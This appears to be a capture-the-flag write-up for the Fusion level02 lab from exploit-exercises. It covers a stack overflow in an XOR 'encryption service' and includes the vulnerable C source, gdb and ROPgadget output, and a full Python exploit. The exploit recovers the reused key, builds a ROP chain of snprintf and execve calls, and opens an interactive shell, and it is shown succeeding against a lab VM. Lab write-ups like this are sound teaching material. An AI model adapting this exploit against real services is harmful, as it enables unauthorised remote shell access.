The description from exploit-exercises:

This level deals with some basic obfuscation / math stuff.
This level introduces non-executable memory and return into libc / .text / return orientated programming (ROP).

Let’s have a look at the source code:

#include "../common/common.c"    
 
#define XORSZ 32
 
void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];
 
  int blocks;
  unsigned int *blahi, j;
 
  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }
 
  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;
 
  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}
 
void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];
 
  unsigned char op;
  size_t sz;
  int loop;
 
  printf("[-- Enterprise configuration file encryption service --]\n");
   
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
       
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  encrypt_file();
}

The vulnerability here is clear: user input of arbitrary size is copied into a local buffer of fixed size (32*4096). A classic stack-based buffer overflow.

Unfortunately our input is encrypted (xored) with a different pseudorandom key obtained from /dev/urandom every time we connect to the service (cipher function).

The key is, however, reused within the same session. The output of this encryption is returned to the user.

void cipher(unsigned char *blah, size_t len)  
{
  static int keyed;
  ...
  if(keyed == 0) {
      ...
      keyed = 1;
  }
  ...
}

Since we are in a while loop and we can call multiple times the vulnerable routine.

We’ll use the first cycle to extract the key (sending just null bytes) and then send our payload encrypted with the same key to exploit the buffer overflow.

The cipher routine will actually “decrypt” our payload (how XOR works) allowing us to overwrite EIP with the desired value.

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 8106]
0x41414141 in ?? ()
(gdb) i r
eax            0x51 81
ecx            0xbfb33c7b   -1078772613
edx            0x1  1
ebx            0xb784cff4   -1216032780
esp            0xbfb53c90   0xbfb53c90
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x41414141   0x41414141
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) x/4x $esp
0xbfb53c90: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb)

EIP is now under control and ESP is pointing to user controlled input.

We cannot execute our shellcode directly from the stack due to the Non-Executable Stack policy but, since the binary is not a PIE we can probably craft a chain of libc function calls (using the GOT) to obtain a shell.

Remember also that stdin and stdout are redirected to the socket connection.

(gdb) disas 0x80489b0
Dump of assembler code for function execve@plt:
   0x080489b0 <+0>:   jmp    DWORD PTR ds:0x804b3d8
   0x080489b6 <+6>:   push   0xc0
   0x080489bb <+11>:  jmp    0x8048820
End of assembler dump.

The “system()” function is not available, but we have “execve()” which also works fine. Since there is no “/bin/sh” string in the binary we must write it ourselves to a writable memory location (how about bss?) with a bunch of “snprintf()” calls.

(gdb) disas 0x80489f0
Dump of assembler code for function snprintf@plt:
   0x080489f0 <+0>:   jmp    DWORD PTR ds:0x804b3e8
   0x080489f6 <+6>:   push   0xe0
   0x080489fb <+11>:  jmp    0x8048820
End of assembler dump.
0804b418 g       *ABS*  00000000              __bss_start
0804b420  w    O .bss   00000004              environ@@GLIBC_2.0
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/sh"
Gadgets information
============================================================
 
Total strings found: 0
 
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "sh"
Gadgets information
============================================================
 
Total strings found: 0
 
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/"
Gadgets information
============================================================
0x08049d78: "/bin/"
 
Total strings found: 1
 
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "s"
Gadgets information
============================================================
0x08048142: "s"
...
 
Total strings found: 109
 
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "h"
Gadgets information
============================================================
0x080484e1: "h"
...
 
Total strings found: 51

The stack will look something similar:

After the execve we should be able to interact with the remote system:

Claudios-MacBook-Pro:fusion claudio$ python level02-1.py 
[*] Obtaining key
[+] Key acquired 678e14cb51840e93837e0a6200b7ed53d775eef2dd431b6fc5db063b78848fcccdc3bab6954e37af336ad172d5962272ffcc15ca718fc1d4f88bd7636a59e952364ef7e5f4cc3cbf592e9e91e03476a2526b62eeb7d5eed0e2903823e2e0e4248a2cd5123d15539ad07bf8d5c0f34e0c6110a51a1b04a1a6b7eb520bea7d6c85
[*] Encrypting payload
[*] Sending exploit
[+] Done... enjoy!
id
uid=20002 gid=20002 groups=20002
hostname
fusion
ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

And finally the python exploit:

import socket
import struct 
import time
import telnetlib
 
T = "172.16.165.130"
P = 20002
key_sz = 32*4
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((T,P))
 
def crypt(value, key): 
 return ''.join(chr(ord(value[x])^ord(key[x % key_sz])) for x in range(len(value)))
   
print "[*] Obtaining key" 
s.recv(100) # message from srv
s.send("E")
s.send(struct.pack("I", key_sz))
s.send("\x00" * key_sz)
time.sleep(0.5)
s.recv(121) # message from srv
sz = s.recv(4)
sz = struct.unpack("I", sz)[0]
key = s.recv(sz)
print "[+] Key acquired %s" % key.encode("hex")
 
payl = "A"*131088 #junk
payl += struct.pack("I",0x08049734) #eip -> ret
 
payl += struct.pack("I",0x080489f0) # snprintf    int snprintf(char *str, size_t size, const char *format, ...);
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b420) # snprintf - dest: bss[0]
payl += struct.pack("I",0x00000006) # snprintf - size: 6 (including null byte)
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08049d78) # snprintf - src: "/bin/"
 
payl += struct.pack("I",0x080489f0) # snprintf
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b425) # snprintf - dest: bss[5]
payl += struct.pack("I",0x00000002) # snprintf - size: 2
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08049d74) # snprintf - src: 's'
 
payl += struct.pack("I",0x080489f0) # snprintf
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b426) # snprintf - dest: bss[6]
payl += struct.pack("I",0x00000002) # snprintf - size: 2
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08048bf4) # snprintf - src: 'h'
 
payl += struct.pack("I",0x080489b0) # execve
payl += struct.pack("I",0xcccccccc) # last return
payl += struct.pack("I",0x0804b420) # execve - command: (bss) "/bin/sh"
payl += "\x00"*8 #execve args + env
 
print "[*] Encrypting payload"
payl = crypt(payl, key)
payl_size = len(payl)
print "[*] Sending exploit"
s.send("E")
s.send(struct.pack("I", payl_size))
s.send(payl)
time.sleep(0.5)
s.recv(120) # message from srv
sz = s.recv(4)
sz = struct.unpack("I", sz)[0]
buff = s.recv(sz)
 
s.send("Q")
 
print "[+] Done... enjoy!"
t = telnetlib.Telnet()
t.sock = s
t.interact()